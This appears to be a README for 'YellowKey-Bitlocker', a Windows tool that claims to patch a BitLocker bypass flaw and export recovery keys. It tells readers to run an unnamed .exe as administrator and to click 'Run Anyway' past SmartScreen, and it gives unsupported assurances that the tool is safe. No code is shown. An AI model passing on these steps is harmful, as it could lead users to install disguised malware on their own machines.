🔑 YellowKey-Bitlocker - Fix BitLocker Vulnerability on Windows

🛡️ About This Tool

YellowKey-Bitlocker helps you protect your data against the CVE-2026-45585 security vulnerability. This flaw affects how Windows handles BitLocker drive encryption. Attackers can potentially bypass security measures to access your files. This tool identifies if your system faces this risk and applies the fix to close the gap. It also lets you recover keys and check your encryption status.

📋 System Requirements

Before you run this tool, check that your computer meets these needs:

• Operating System: Windows 10 or Windows 11 (64-bit).
• Permissions: You must have administrator rights on your computer.
• Encryption: BitLocker must be enabled or configured for the tool to detect status.
• Disk space: Less than 50 MB of free storage.

📥 Download and Installation

Follow these steps to obtain and use the software:

1. Visit the official release page to download the latest version of YellowKey.
2. Look for the file ending in ".exe" under the Assets section.
3. Save the file to a folder you can find, such as your Downloads folder.
4. Right-click the file and select "Run as administrator" to start the program.

Your computer might show a security prompt because the tool interacts with system encryption settings. Confirm the action to proceed.

⚙️ How to Use YellowKey

The interface shows your current BitLocker status immediately after launch. It displays your drive health and whether the security vulnerability exists on your system.

1. Check Vulnerability: The main dashboard displays your current risk status. It shows "Protected" if your system is safe or "Vulnerable" if you need to apply the fix.
2. Apply Mitigation: If your system is vulnerable, click the "Apply Mitigation" button to patch the BitLocker bypass. The tool changes the required registry settings automatically.
3. Recovery Keys: If you lose access or need to verify your existing keys, use the "Export Recovery Keys" feature. Save these keys to an external drive or print them for safe storage.
4. Test Mitigation: After applying the patch, click "Verify Status" to confirm the system correctly blocked the vulnerability.

❓ Frequently Asked Questions

Is this tool safe to use? Yes. YellowKey performs standard configuration changes that Windows uses to secure drives. It does not send your data to any servers.

Do I need to restart my computer? In most cases, the software applies changes instantly. If your system requires a restart to finalize encryption settings, the tool will notify you.

What if I cannot open the file? Ensure you run the file as an administrator. If Windows SmartScreen stops the app, click "More Info" and then "Run Anyway."

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